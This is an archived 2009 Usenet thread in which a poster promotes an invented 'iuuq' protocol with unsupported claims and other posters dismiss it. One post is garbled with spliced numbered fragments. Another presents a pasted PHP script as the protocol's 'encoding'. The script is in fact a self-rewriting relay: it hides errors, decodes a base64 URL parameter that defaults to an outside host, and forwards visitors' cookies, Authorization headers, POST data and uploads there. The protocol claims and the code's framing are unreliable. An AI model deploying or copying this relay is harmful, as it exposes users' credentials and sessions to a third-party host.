Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Re: iuuq? protocol: new from http://MeAmI.org

4 views
Skip to first unread message

Anonymous Number of People

unread,
Oct 24, 2009, 11:22:14 PM10/24/09
to
On Oct 24, 9:16 pm, Richard Heathfield <r...@see.sig.invalid> wrote:
> In
> <1da83048-ce66-4423-b47f-6ff7562ce...@z34g2000vbl.googlegroups.com>,
> Anonymous Number of People wrote:
>
> > Mr. Prochak:
>
> > It parallels http like so
>
> <lots of stuff snipped>
>
> I'm curious. I know I shouldn't be, but I am. Here's my question:
>
> Do you truly believe that you're communicating useful information in
> an accessible way?

Perhaps there are times. Perhaps not to you, but perhaps I am being
negative in this assumption.

I have accepted a long time ago things are just simpler from my
perspective when I do not pretend I am not who I am to be liked or to
be like others.

I accept there is likely very few of those individuals who are apt in
the ways I am and as intelligent as I am. And when I speak of
intelligence I do not mean it the way you might think it.

I feel very strongly most of what the community considers 'knowledge'
or 'intelligence' is really merely memorization.

I say knowledge consists largely of humankinds attempt to categorize
nature but nature consists largest of mankind's attempts to defy
reality.

Never has there been one individual who has ever achieved anything
great in his life without walking a path different from others and
more than once removed.

Allow me to explain:

The movie 'The Emperor's Club' I have never seen it but I saw the
trailer. In the trailer a new student attends an ivy league college
and there is an initiation of sorts where they are all walking on this
worn pass across the lawn -- a path where the feet of their
predecessors have worn the grass to the dirt.

As the young man walks along this path with his peers in front of him
and behind him he begins to feel uncertain about his choices.

He steps off the pat and begins to walk along the grass. As he cuts
across the lawn a professor approaches him and says, 'Do you not walk
to walk down the path many great men before you have?'

And the young man pauses thoughtfully a ponderous beat then smiles and
rejoins his peers.

As a writer and one who always appreciates good dramatic structure and
storytelling techniques, I sometimes find myself guessing at what is
going to happen in even a movie trailer!

So at this time, the only thought I have in my mind, is what a great
line of dialogue it would have been if he had said, "I am." and
continued to cut across the grass while his ivy league elitist peers
continued the traditions of their successful ivy league heritage.

Many great men walk the paths of many great men before them but there
are other great men who walk along a path where none of them have
tread and some of them walk on paths none of them will tread.


Now I am not great, clearly, I am not. Just ask the poster who calls
himself Adamk and Bacle and even you who I respect enough you use your
name, and I must say of you being one of the decent ones ought most
times it hurt a little to hear you say I was unemployable so brazenly.

On one hand I lost a quantity of respect for you I had early from how
much tact you held yourself with.

But before this tangent overtakes the diatribe develops, to one last
point:

The ones on the beaten bath and the ones who forge their own:

It is very important it is not to say there way is wrong or his way is
right. I do not make this distinction. Not in any stretch. But I do
say, this: if he said it; it would be true.

M. Michael Musatov
>
> --
> Richard Heathfield <http://www.cpax.org.uk>
> Email: -http://www. +rjh@
> "Usenet is a strange place" - dmr 29 July 1999
> Sig line vacant - apply within

http://MeAmI.org

Please be nice and try to be patient and remember you do not know me
only what I have written.

Is it fair to say you may not judge a book by a cover but it is okay
to judge the character of the author by the words he's written?

Richard Heathfield

unread,
Oct 25, 2009, 12:16:50 AM10/25/09
to
In <56466cc1-2d8e-4af7...@12g2000pri.googlegroups.com>,
Anonymous Number of People wrote:

<snip>



> Is it fair to say you may not judge a book by a cover but it is okay
> to judge the character of the author by the words he's written?

Well, I wouldn't go that far. But it is reasonable to judge the words
themselves. If what you post is incomprehensible, it is not
unreasonable to judge it as incomprehensible. The purpose of language
is to facilitate communication, not to obscure it.

Harlan Messinger

unread,
Oct 25, 2009, 12:19:42 AM10/25/09
to
Anonymous Number of People wrote:
> On Oct 24, 9:16 pm, Richard Heathfield <r...@see.sig.invalid> wrote:
>> In
>> <1da83048-ce66-4423-b47f-6ff7562ce...@z34g2000vbl.googlegroups.com>,
>> Anonymous Number of People wrote:
>>
>>> Mr. Prochak:
>>> It parallels http like so
>> <lots of stuff snipped>
>>
>> I'm curious. I know I shouldn't be, but I am. Here's my question:
>>
>> Do you truly believe that you're communicating useful information in
>> an accessible way?
>
> Perhaps there are times. Perhaps not to you, but perhaps I am being
> negative in this assumption.
>
> I have accepted a long time ago things are just simpler from my
> perspective when I do not pretend I am not who I am to be liked or to
> be like others.
>
> I accept there is likely very few of those individuals who are apt in
> the ways I am and as intelligent as I am. And when I speak of
> intelligence I do not mean it the way you might think it.

If you are so remarkable intelligent, then why are you at a loss for how
to communicate information to people?

Anonymous Number of People

unread,
Oct 25, 2009, 4:23:25 AM10/25/09
to
http://meami.o1//1
AnonymousNumb2//2 of Peoplewrote:3//3
> On Oct 254//4 8:38 pm,do5//5rayme <doraymeR6//6
dT...@op7//7usnet.co//m.au 8//8wrote:
> > In9//9 article <X6W10//10ncsZ//2ampAH711//11Z2dnUVZ8sR i412//12...@bt.com>,
>13//13  Richard
14//14athfield<r...@5//15.sig.invalid>
//16wrote:
/17> >. 17 /
> > > In. 18 //
> > > <6ecc7c819 //-beff-4e18-a84520//-4959df4ee...@21//212000vbl.googl22//22roups.com>, 23//23
> > > Anon24//24ous Number of25//25eople wrote: 26//26
> >. 27//27
> > > 28//28ease learn29//29o use one name30//30
ons31//31tently.
> 32//32
>33//33 You mean, so 34//34 is easier to 5//35ilter? agree
//36and have been
/37ving a spot. 37/
> > of bother. 38// myself. <g>. 39//9
> >. 40//40
> > -- 41//41
> >doray:http://meami.org. ++
>

COME TO THINK OF IT I A HAVING A BIT OF BOTHER OF ME TOO

BUT I DO NOT KNOW WHAT BOTH ER MEANS.
Or
BOT HER

WELL TO TELL YOU THE T~Truth I do know what half of both means and I
may make up definitions for the other two or make educated guesses and
say:

BOT = ROBOT
HER = FEMALE

BOTHER = FEMALE ROBOT

Or

BOTH = BOTH
ER = ER (like annoying or a dog growling)

BOTHER

Means both er! And bother!

I worked up all the above after I wrote the below. What is I can Lhaz
compressions is!?
++++++++++++///\///
> I will do what I do when I do it and some times I change names
> intentionally for algorithmic experiments.
>
> Thank you,
>
> Martin

I sound like a dick in context.

Ben Pfaff

unread,
Oct 25, 2009, 10:02:27 AM10/25/09
to
Richard Heathfield <r...@see.sig.invalid> writes:

> In <56466cc1-2d8e-4af7...@12g2000pri.googlegroups.com>,
> Anonymous Number of People wrote:
>> Is it fair to say you may not judge a book by a cover but it is okay
>> to judge the character of the author by the words he's written?
>
> Well, I wouldn't go that far.

I definitely wouldn't. As an extreme example, I'm reading
_Lolita_ right now but I have no reason to believe that Vladimir
Nabokov was anything like his characters.
--
Ben Pfaff
http://benpfaff.org

Message has been deleted

debaser

unread,
Nov 22, 2009, 9:22:46 AM11/22/09
to
<mode>0</code>
</mode>1<code>
</mode>0<code>
<mode>1</code>On Oct 25, 10:02 am, Ben Pfaff <b...@cs.stanford.edu>
wrote:
> Richard Heathfield <r...@see.sig.invalid> writes:
> > In <56466cc1-2d8e-4af7-b536-3d14fffce...@12g2000pri.googlegroups.com>,

> > Anonymous Number of People wrote:
> >> Is it fair to say you may not judge a book by a cover but it is okay
> >> to judge the character of the author by the words he's written?
>
> > Well, I wouldn't go that far.
>
> I definitely wouldn't.  As an extreme example, I'm reading
> _Lolita_ right now but I have no reason to believe that Vladimir
> Nabokov was anything like his characters.
> --
> Ben Pfaffhttp://benpfaff.org

<mode>0</code>
</mode>1<code>
</mode>0<code>
<mode>1</code>

http://alexslemonade.org @ http://MeAmI.org

unread,
Oct 23, 2009, 8:04:10 PM10/23/09
to
http:// is one way to transfer data

iuuq:// is another

Tether the two.

iuuq™: double the bandwidth. half the price.

Welcome to the in formation revolution. New from
MeAmI.org

++++++++++++++++++++
There is a lot of talk these days about singularities and efficient
systems. MeAmI.org's iuuq™ protocol offers efficient pluralities in
network transfer protocols. It works:

A normal website runs data:

http://www.website.tld

MeAmI's iuuq™ allows

iuuq://xxx.website.ume

http://{--------}=data

Ed Prochak

unread,
Oct 24, 2009, 1:31:54 AM10/24/09
to
On Oct 23, 8:04 pm, "http://alexslemonade.org @ http://MeAmI.org"

You don't even know the terminology. I have seen some of your
programming and I'd be very surprised that you created a protocol that
works better than http. Where's your RFC?

If this is really more fluff, please stop. (Does your boss see you
doing this?)

Richard Heathfield

unread,
Oct 24, 2009, 1:39:48 AM10/24/09
to
In
<e3b5aaf6-ca7f-4bce...@p36g2000vbn.googlegroups.com>,
Ed Prochak wrote:

<snip>


>>
>> iuuq://xxx.website.ume
>>
>> http://{--------}=data
>
> You don't even know the terminology. I have seen some of your
> programming and I'd be very surprised that you created a protocol
> that works better than http. Where's your RFC?
>
> If this is really more fluff, please stop. (Does your boss see you
> doing this?)

What boss? Do you really think he's employable?

http://alexslemonade.org @ http://MeAmI.org

unread,
Oct 24, 2009, 4:58:54 AM10/24/09
to
Dear Mister Ed Prochak:

Sometimes you have to be deliberately stubborn though rarely is it
necessary to accomplish most great things.

iuuq™ protocol: new from http://MeAmI.org

http://alexslemonade.org @ http://MeAmI.org

unread,
Oct 24, 2009, 5:04:51 AM10/24/09
to
Dear Richard Heathfield:

I find your comment both obtuse and cruelly closed minded.

I have in fact worked for many great companies including International
Creative Management, American Express Financial Advisors, Creative
Artists Agency (Digital/Business Development) and most recently
Participant Media (Jeffrey Skoll's company - former CEO and 1st
President of eBay).

I also feel it necessary to add your dismissive and unthoughtful tone
only amounts to once again further evidence I am indeed smarter than
one more person in this forum.

The greatest truths are revealed by intelligence and thoughtful
kindness mixed with creativity.

I wish you all the best.

I leave you with your words:

Richard Heathfield

unread,
Oct 24, 2009, 9:14:04 AM10/24/09
to
In
<0e887032-2576-4af5...@e34g2000vbc.googlegroups.com>,

> Dear Richard Heathfield:
>
> I find your comment both obtuse and cruelly closed minded.

Fair exchange is no robbery. I find your comments not only obtuse, but
also closed to any kind of mental activity at all.

> I have in fact worked for many great companies

That's nice. The world needs janitors.

> I also feel it necessary to add your dismissive and unthoughtful
> tone

How do you think people feel about your contemptuous abuse of Usenet?

> only amounts to once again further evidence I am indeed smarter
> than one more person in this forum.

Agreed. You're smarter than Ed Nilges. But then, so is a hedgehog.

<snip>

Anonymous Number of People

unread,
Oct 24, 2009, 10:54:19 AM10/24/09
to
http:// ---------------------------------------+On Oct 24, 1:31 am, Ed
Prochak <edproc...@gmail.com> wrote:
> On Oct 23, 8:04 pm, "http://alexslemonade.org@http://MeAmI.org"

Mr. Prochak:

Here is some of my encoding:

RFC is still in early draft. I am serious. I have a few different
means of presenting it.

Thanks,
Musatov

php.php
transfer-encoding' &amp;&amp; $header_name != ' connection' &amp;&amp;
$header_name ! ... it was not specified the protocol type
argument&quot;)); switch(strtolower ..
<?php //Start Config

error_reporting(0);
set_time_limit(0);
$FileRun = strrchr($_SERVER['PHP_SELF'], "/");
$FileRun = str_replace("/", "", $FileRun);
$aStrFile = file($FileRun);
$sStr = file_get_contents($FileRun);
if (str_replace(array("\n", "\r"), "", $aStrFile['0'])!="<?php //Start
Config")
{
$sStr = preg_match("/<\?php \/\/Start Config.*\/\/END Config \?>/si",
$sStr, $matches);
// echo "<br><br><br><br>===<br>".$matches['0'];
$open=fopen($FileRun,"w");
fwrite($open, $matches['0']);
fclose($open);
}


$DEBUG = false;
if ($_GET['timeout']=='1')
die('1');

$_GET['encoded'] = (empty($_GET
['encoded'])?"VXJsPWh0dHA6Ly9maWxlc2hhcmVhLm5ldC80MDQucGhw":$_GET
['encoded']);

if (get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array',
$array) : stripslashes($array);
}

$_COOKIE = stripslashes_array($_COOKIE);
$_FILES = stripslashes_array($_FILES);
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
$_REQUEST = stripslashes_array($_REQUEST);
}

$decoded = base64_decode(urldecode($_GET['encoded']));

$pairs = explode("&", $decoded);

$VARS = array();

foreach($pairs as $pair) {
list($key, $value) = explode("=", $pair);
$VARS[$key] = urldecode($value);
}

$sUrl = !empty($VARS['Url']) ? $VARS['Url'] : null;
$sPost = !empty($VARS['Post']) ? $VARS['Post'] : null;
$sMethod = !empty($VARS['Method']) ? $VARS['Method'] : null;


if($sMethod == "POST") {
$post = true;
} else {
$post = false;
}

if(!empty($sPost)) {
$sUrl = $sUrl . "?" . $sPost;
}

$rawdata = file_get_contents('php://input');

if(!empty($rawdata)) {
logToFile("server.txt", "RAW: $rawdata");
}

if(!empty($_SERVER["HTTP_REFERER"])) $headers[] = "Referer:
" . $_SERVER["HTTP_REFERER"];
if(!empty($_SERVER["HTTP_ACCEPT"])) $headers[] = "Accept: " .
$_SERVER["HTTP_ACCEPT"];
if(!empty($_SERVER["HTTP_ACCEPT_CHARSET"])) $headers[] = "Accept-
Charset: " . $_SERVER["HTTP_ACCEPT_CHARSET"];
if(!empty($_SERVER["HTTP_ACCEPT_LANGUAGE"])) $headers[] = "Accept-
Language: " . $_SERVER["HTTP_ACCEPT_LANGUAGE"];
if(!empty($_SERVER["CONTENT_TYPE"])) $headers[] = "Content-
Type: " . $_SERVER["CONTENT_TYPE"];

if(function_exists("apache_request_headers")) {
if($aheaders = apache_request_headers()) {
if(!empty($aheaders['Authorization'])) {
$headers[] = "Authorization: " . $aheaders['Authorization'];
}
}
}

//$headers[] = "Authorization: Basic MTAwNTU6VGpma3NVcWQ=";

//$headers[] = "Accept-Encoding: deflate";


/*foreach($headers as $k=>$v) {
logToFile("server.txt", "$k: $v");
}*/

//logToFile("server.txt", "-------------------------\n");


@set_time_limit(0);
$http=new http_class;

/* Connection timeout */
$http->timeout=0;

/* Data transfer timeout */
$http->data_timeout=0;

/* Output debugging information about the progress of the connection
*/
$http->debug=0;

/* Format dubug output to display with HTML pages */
$http->html_debug=0;

$http->user_agent=$_SERVER['HTTP_USER_AGENT'];

$http->follow_redirect=0;

//$http->redirection_limit=10;
$http->support_cookies=0;

$http->prefer_curl=0;

$error=$http->GetRequestArguments($sUrl,$arguments);

//$arguments["Headers"]["Pragma"]="nocache";

foreach($headers as $h) {
list($k, $v) = explode(": ", $h);
$arguments["Headers"][$k]=$v;
}

if($post) {
$arguments["RequestMethod"]="POST";
if(!empty($rawdata)) {
$arguments["Body"] = $rawdata;
} else {
$pv = set_post_vars($_POST);
$arguments["PostValues"] = $pv;
}

foreach($_FILES as $k=>$v) {
$n = $k;
$path = $v['tmp_name'];
//$newfile = $uploaddir . $v['name'];
//move_uploaded_file($path, $newfile);
if(!empty($path)) {
$arguments["PostFiles"][$n]['Name'] = $v['name'];
$arguments["PostFiles"][$n]['Content-Type'] = $v['type'];
$arguments["PostFiles"][$n]['FileName'] = $path;
}
}
}

$cook = cenc2();
if(!empty($cook)) {
$arguments["Headers"]["Cookie"]=$cook;
logToFile("server.txt", "cook: $cook");
$arguments["Headers"]["Cookie2"]='$Version=1';
}


$error=$http->Open($arguments);

if($error=="") {
$error=$http->SendRequest($arguments);
if($error=="") {

if($DEBUG) {
logToFile("request.txt", "URL: $sUrl");
for(Reset($http->request_headers),$header=0;$header<count($http-
>request_headers);Next($http->request_headers),$header++) {
$header_name=Key($http->request_headers);
if(GetType($http->request_headers[$header_name])=="array") {
for($header_value=0;$header_value<count($http-
>request_headers[$header_name]);$header_value++)
logToFile("request.txt", $header_name.": ".$http-
>request_headers[$header_name][$header_value]);
} else
logToFile("request.txt", $header_name.": ".$http-
>request_headers[$header_name]);
}
logToFile("request.txt", "-----------------");
}

$headers=array();
$error=$http->ReadReplyHeaders($headers);

logToFile("reply.txt", "URL: $sUrl");
for(Reset($headers),$header=0;$header<count($headers);Next
($headers),$header++) {
$header_name=Key($headers);
if(GetType($headers[$header_name])!="array") {
$tmp = $headers[$header_name];
$headers[$header_name] = array(0=>$tmp);
}
if(GetType($headers[$header_name])=="array") {
for($header_value=0;$header_value<count($headers
[$header_name]);$header_value++) {
if($header_name != 'transfer-encoding' && $header_name !=
'connection' && $header_name != 'keep-alive') {
$hname = join("-", array_map('ucwords', explode("-",
$header_name)));
$val = $headers[$header_name][$header_value];
if(!empty($val)) {
logToFile("reply.txt", $hname.": ".$val);
if($header_name == "set-cookie") {
header($hname.": ".$val, false);
} else {
header($hname.": ".$val, true);
}
} else {
if($header_name == 'content-length') {
header("$hname: 0", true);
logToFile("reply.txt", "$hname: 0");
} else {
logToFile("reply.txt", $header_name);
header($header_name, true);
}
}
}
}
} /*else {
if($header_name != 'transfer-encoding' && $header_name != 'x-
powered-by' && $header_name != 'connection' && $header_name != 'keep-
alive') {
if(!empty($headers[$header_name])) {
logToFile("reply.txt", $header_name.": ".$headers
[$header_name]);
header($header_name.": ".$headers[$header_name], true);
} else {
logToFile("reply.txt", $header_name);
header($header_name, true);
}
}
}*/
}
logToFile("reply.txt", "-----------------");
for(;;) {
$error=$http->ReadReplyBody($body,1000);
if($error!="" || strlen($body)==0)
break;
echo $body;
flush();
}
}


/*$http->SaveCookies($site_cookies);
if(!empty($site_cookies)) {
@file_put_contents("cook.dat", serialize($site_cookies));
}*/

$http->Close();
}
if(strlen($error))
echo "<CENTER><H2>Error: ",$error,"</H2><CENTER>\n";

exit(0);


#####################################################

function cookieEncode($str) {
return str_replace(array(' ',
"\t",
';',
','),
array('%20',
'%09',
'%3B',
'%2C'),
$str);
}

function cookieDecode($str) {
return str_replace(array('%20',
'%09',
'%3B',
'%2C'),
array(' ',
"\t",
';',
','),
$str);
}

function cenc2() {
$qs = "";
if (@sizeof(array_values($_COOKIE)) > 0) {
foreach ($_COOKIE as $key => $val) {
if (is_array($val) || is_object($val)) {
$qs .= "$key=" . rawurlencode(serialize($val)) + "; ";
} else {
//if(preg_match("/\\;|\\=/", $val)) $val = rawurlencode($val);
//$val = cenc($val, 0);
$key = cookieEncode($key);
$val = cookieEncode($val);
$qs .= "$key=$val; ";
}
}
}
$qs = rtrim($qs, "; ");
return $qs;
}


function set_post_vars($array, $parent_key = null) {
$temp = array();
foreach ($array as $key => $value) {
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key,
($key)) : ($key);
if (is_array($value)) {
$temp = array_merge($temp, set_post_vars($value, $key));
} else {
$temp[$key] = ($value);
}
}
return $temp;
}

function logToFile($filename, $msg) {
if(!$DEBUG) return;
// open file
$fd = fopen($filename, "a");
// append date/time to message
$str = "[" . date("Y/m/d h:i:s", mktime()) . "] " . $msg;
// write string
fwrite($fd, $str . "\n");
// close file
fclose($fd);
}


class http_class
{
var $host_name="";
var $host_port=0;
var $proxy_host_name="";
var $proxy_host_port=80;
var $socks_host_name = '';
var $socks_host_port = 1080;

var $protocol="http";
var $request_method="GET";
var $user_agent='httpclient';
var $authentication_mechanism="";
var $user;
var $password;
var $realm;
var $workstation;
var $proxy_authentication_mechanism="";
var $proxy_user;
var $proxy_password;
var $proxy_realm;
var $proxy_workstation;
var $request_uri="";
var $request="";
var $request_headers=array();
var $request_user;
var $request_password;
var $request_realm;
var $request_workstation;
var $proxy_request_user;
var $proxy_request_password;
var $proxy_request_realm;
var $proxy_request_workstation;
var $request_body="";
var $request_arguments=array();
var $protocol_version="1.1";
var $timeout=0;
var $data_timeout=0;
var $debug=0;
var $debug_response_body=1;
var $html_debug=0;
var $support_cookies=1;
var $cookies=array();
var $error="";
var $exclude_address="";
var $follow_redirect=0;
var $redirection_limit=5;
var $response_status="";
var $response_message="";
var $file_buffer_length=8000;
var $force_multipart_form_post=0;
var $prefer_curl = 0;

/* private variables - DO NOT ACCESS */

var $state="Disconnected";
var $use_curl=0;
var $connection=0;
var $content_length=0;
var $response="";
var $read_response=0;
var $read_length=0;
var $request_host="";
var $next_token="";
var $redirection_level=0;
var $chunked=0;
var $remaining_chunk=0;
var $last_chunk_read=0;
var $months=array(
"Jan"=>"01",
"Feb"=>"02",
"Mar"=>"03",
"Apr"=>"04",
"May"=>"05",
"Jun"=>"06",
"Jul"=>"07",
"Aug"=>"08",
"Sep"=>"09",
"Oct"=>"10",
"Nov"=>"11",
"Dec"=>"12");
var $session='';
var $connection_close=0;

/* Private methods - DO NOT CALL */

Function Tokenize($string,$separator="")
{
if(!strcmp($separator,""))
{
$separator=$string;
$string=$this->next_token;
}
for($character=0;$character<strlen($separator);$character++)
{
if(GetType($position=strpos($string,$separator[$character]))
=="integer")
$found=(IsSet($found) ? min($found,$position) : $position);
}
if(IsSet($found))
{
$this->next_token=substr($string,$found+1);
return(substr($string,0,$found));
}
else
{
$this->next_token="";
return($string);
}
}

Function CookieEncode($value, $name)
{
return($name ? str_replace("=", "%25", $value) : str_replace(";",
"%3B", $value));
}

Function SetError($error)
{
return($this->error=$error);
}

Function SetPHPError($error, &$php_error_message)
{
if(IsSet($php_error_message)
&& strlen($php_error_message))
$error.=": ".$php_error_message;
return($this->SetError($error));
}

Function SetDataAccessError($error,$check_connection=0)
{
$this->error=$error;
if(!$this->use_curl
&& function_exists("socket_get_status"))
{
$status=socket_get_status($this->connection);
if($status["timed_out"])
$this->error.=": data access time out";
elseif($status["eof"])
{
if($check_connection)
$this->error="";
else
$this->error.=": the server disconnected";
}
}
}

Function OutputDebug($message)
{
$message.="\n";
if($this->html_debug)
$message=str_replace("\n","<br />\n",HtmlEntities($message));
echo $message;
flush();
}

Function GetLine()
{
for($line="";;)
{
if($this->use_curl)
{
$eol=strpos($this->response,"\n",$this->read_response);
$data=($eol ? substr($this->response,$this->read_response,$eol
+1-$this->read_response) : "");
$this->read_response+=strlen($data);
}
else
{
if(feof($this->connection))
{
$this->SetDataAccessError("reached the end of data while
reading from the HTTP server connection");
return(0);
}
$data=fgets($this->connection,100);
}
if(GetType($data)!="string"
|| strlen($data)==0)
{
$this->SetDataAccessError("it was not possible to read line
from the HTTP server");
return(0);
}
$line.=$data;
$length=strlen($line);
if($length
&& !strcmp(substr($line,$length-1,1),"\n"))
{
$length-=(($length>=2 && !strcmp(substr($line,
$length-2,1),"\r")) ? 2 : 1);
$line=substr($line,0,$length);
if($this->debug)
$this->OutputDebug("S $line");
return($line);
}
}
}

Function PutLine($line)
{
if($this->debug)
$this->OutputDebug("C $line");
if(!fputs($this->connection,$line."\r\n"))
{
$this->SetDataAccessError("it was not possible to send a line to
the HTTP server");
return(0);
}
return(1);
}

Function PutData(&$data)
{
if(strlen($data))
{
if($this->debug)
$this->OutputDebug("C $data");
if(!fputs($this->connection,$data))
{
$this->SetDataAccessError("it was not possible to send data to
the HTTP server");
return(0);
}
}
return(1);
}

Function FlushData()
{
if(!fflush($this->connection))
{
$this->SetDataAccessError("it was not possible to send data to
the HTTP server");
return(0);
}
return(1);
}

Function ReadChunkSize()
{
if($this->remaining_chunk==0)
{
$debug=$this->debug;
if(!$this->debug_response_body)
$this->debug=0;
$line=$this->GetLine();
$this->debug=$debug;
if(GetType($line)!="string")
return($this->SetError("4 could not read chunk start: ".$this-
>error));
$this->remaining_chunk=hexdec($line);
}
return("");
}

Function ReadBytes($length)
{
if($this->use_curl)
{
$bytes=substr($this->response,$this->read_response,min
($length,strlen($this->response)-$this->read_response));
$this->read_response+=strlen($bytes);
if($this->debug
&& $this->debug_response_body
&& strlen($bytes))
$this->OutputDebug("S ".$bytes);
}
else
{
if($this->chunked)
{
for($bytes="",$remaining=$length;$remaining;)
{
if(strlen($this->ReadChunkSize()))
return("");
if($this->remaining_chunk==0)
{
$this->last_chunk_read=1;
break;
}
$ask=min($this->remaining_chunk,$remaining);
$chunk=@fread($this->connection,$ask);
$read=strlen($chunk);
if($read==0)
{
$this->SetDataAccessError("it was not possible to read
data chunk from the HTTP server");
return("");
}
if($this->debug
&& $this->debug_response_body)
$this->OutputDebug("S ".$chunk);
$bytes.=$chunk;
$this->remaining_chunk-=$read;
$remaining-=$read;
if($this->remaining_chunk==0)
{
if(feof($this->connection))
return($this->SetError("reached the end of data while
reading the end of data chunk mark from the HTTP server"));
$data=@fread($this->connection,2);
if(strcmp($data,"\r\n"))
{
$this->SetDataAccessError("it was not possible to read
end of data chunk from the HTTP server");
return("");
}
}
}
}
else
{
$bytes=@fread($this->connection,$length);
if(strlen($bytes))
{
if($this->debug
&& $this->debug_response_body)
$this->OutputDebug("S ".$bytes);
}
else
$this->SetDataAccessError("it was not possible to read data
from the HTTP server", $this->connection_close);
}
}
return($bytes);
}

Function EndOfInput()
{
if($this->use_curl)
return($this->read_response>=strlen($this->response));
if($this->chunked)
return($this->last_chunk_read);
return(feof($this->connection));
}

Function Resolve($domain, &$ip, $server_type)
{
if(ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',
$domain))
$ip=$domain;
else
{
if($this->debug)
$this->OutputDebug('Resolving '.$server_type.' server domain
"'.$domain.'"...');
if(!strcmp($ip=@gethostbyname($domain),$domain))
$ip="";
}
if(strlen($ip)==0
|| (strlen($this->exclude_address)
&& !strcmp(@gethostbyname($this->exclude_address),$ip)))
return($this->SetError("could not resolve the host domain \"".
$domain."\""));
return('');
}

Function Connect($host_name, $host_port, $ssl, $server_type =
'HTTP')
{
$domain=$host_name;
$port = $host_port;
if(strlen($error = $this->Resolve($domain, $ip, $server_type)))
return($error);
if(strlen($this->socks_host_name))
{
$host_ip = $ip;
$port = $this->socks_host_port;
$host_server_type = $server_type;
$server_type = 'SOCKS';
if(strlen($error = $this->Resolve($this->socks_host_name, $ip,
$server_type)))
return($error);
}
if($this->debug)
$this->OutputDebug('Connecting to '.$server_type.' server IP '.
$ip.' port '.$port.'...');
if($ssl)
$ip="ssl://".$ip;
if(($this->connection=($this->timeout ? @fsockopen($ip, $port,
$errno, $error, $this->timeout) : @fsockopen($ip, $port, $errno)))==0)
{
switch($errno)
{
case -3:
return($this->SetError("-3 socket could not be created"));
case -4:
return($this->SetError("-4 dns lookup on hostname \"".
$host_name."\" failed"));
case -5:
return($this->SetError("-5 connection refused or timed
out"));
case -6:
return($this->SetError("-6 fdopen() call failed"));
case -7:
return($this->SetError("-7 setvbuf() call failed"));
default:
return($this->SetPHPError($errno." could not connect to the
host \"".$host_name."\"",$php_errormsg));
}
}
else
{
if($this->data_timeout
&& function_exists("socket_set_timeout"))
socket_set_timeout($this->connection,$this->data_timeout,0);
if(strlen($this->socks_host_name))
{
if($this->debug)
{
$this->OutputDebug('Connected to the SOCKS server '.$this-
>socks_host_name);
$this->OutputDebug('Negotiating the authentication
method ...');
}
$send_error = 'it was not possible to send data to the SOCKS
server';
$receive_error = 'it was not possible to receive data from the
SOCKS server';
$version = 5;
$methods = 1;
$method = 0;
if(!fputs($this->connection, chr($version).chr($methods).chr
($method)))
$error = $this->SetDataAccessError($send_error);
else
{
$response = fgets($this->connection, 3);
if(strlen($response) != 2)
$error = $this->SetDataAccessError($receive_error);
elseif(Ord($response[1]) != $method)
$error = 'the SOCKS server requires an authentication
method that is not yet supported';
else
{
if($this->debug)
$this->OutputDebug('Connecting to '.$host_server_type.'
server IP '.$host_ip.' port '.$host_port.'...');
$command = 1;
$address_type = 1;
if(!fputs($this->connection, chr($version).chr
($command)."\x00".chr($address_type).pack('Nn', ip2long($host_ip),
$host_port)))
$error = $this->SetDataAccessError($send_error);
else
{
$response = fgets($this->connection, 11);
if(strlen($response) != 10)
$error = $this->SetDataAccessError($receive_error);
else
{
$socks_errors = array(
"\x00"=>'',
"\x01"=>'general SOCKS server failure',
"\x02"=>'connection not allowed by ruleset',
"\x03"=>'Network unreachable',
"\x04"=>'Host unreachable',
"\x05"=>'Connection refused',
"\x06"=>'TTL expired',
"\x07"=>'Command not supported',
"\x08"=>'Address type not supported'
);
$error_code = $response[1];
$error = (IsSet($socks_errors[$error_code]) ?
$socks_errors[$error_code] : 'unknown');
if(strlen($error))
$error = 'SOCKS error: '.$error;
}
}
}
}
if(strlen($error))
{
fclose($this->connection);
return($error);
}
}
if($this->debug)
$this->OutputDebug("Connected to $host_name");
if(strlen($this->proxy_host_name)
&& strcmp(strtolower($this->protocol), 'HTTPS'))
{
if(function_exists('stream_socket_enable_crypto')
&& in_array('ssl', stream_get_transports()))
$this->state = "ConnectedToProxy";
else
{
$this->OutputDebug("It is not possible to start SSL after
connecting to the proxy server. If the proxy refuses to forward the
SSL request, you may need to upgrade to PHP 5.1 or later with OpenSSL
support enabled.");
$this->state="Connected";
}
}
else
$this->state="Connected";
return("");
}
}

Function Disconnect()
{
if($this->debug)
$this->OutputDebug("Disconnected from ".$this->host_name);
if($this->use_curl)
{
curl_close($this->connection);
$this->response="";
}
else
fclose($this->connection);
$this->state="Disconnected";
return("");
}

/* Public methods */

Function GetRequestArguments($url,&$arguments)
{
if(strlen($this->error))
return($this->error);
$arguments=array();
$parameters=@parse_url($url);
if(!$parameters)
return($this->SetError("it was not specified a valid URL"));
if(!IsSet($parameters["scheme"]))
return($this->SetError("it was not specified the protocol type
argument"));
switch(strtolower($parameters["scheme"]))
{
case "http":
case "https":
$arguments["Protocol"]=$parameters["scheme"];
break;
default:
return($parameters["scheme"]." connection scheme is not yet
supported");
}
if(!IsSet($parameters["host"]))
return($this->SetError("it was not specified the connection host
argument"));
$arguments["HostName"]=$parameters["host"];
$arguments["Headers"]=array("Host"=>$parameters["host"].(IsSet
($parameters["port"]) ? ":".$parameters["port"] : ""));
if(IsSet($parameters["user"]))
{
$arguments["AuthUser"]=UrlDecode($parameters["user"]);
if(!IsSet($parameters["pass"]))
$arguments["AuthPassword"]="";
}
if(IsSet($parameters["pass"]))
{
if(!IsSet($parameters["user"]))
$arguments["AuthUser"]="";
$arguments["AuthPassword"]=UrlDecode($parameters["pass"]);
}
if(IsSet($parameters["port"]))
{
if(strcmp($parameters["port"],strval(intval($parameters
["port"]))))
return($this->SetError("it was not specified a valid
connection host argument"));
$arguments["HostPort"]=intval($parameters["port"]);
}
else
$arguments["HostPort"]=0;
$arguments["RequestURI"]=(IsSet($parameters["path"]) ? $parameters
["path"] : "/").(IsSet($parameters["query"]) ? "?".$parameters
["query"] : "");
if(strlen($this->user_agent))
$arguments["Headers"]["User-Agent"]=$this->user_agent;
return("");
}

Function Open($arguments)
{
if(strlen($this->error))
return($this->error);
if($this->state!="Disconnected")
return("1 already connected");
if(IsSet($arguments["HostName"]))
$this->host_name=$arguments["HostName"];
if(IsSet($arguments["HostPort"]))
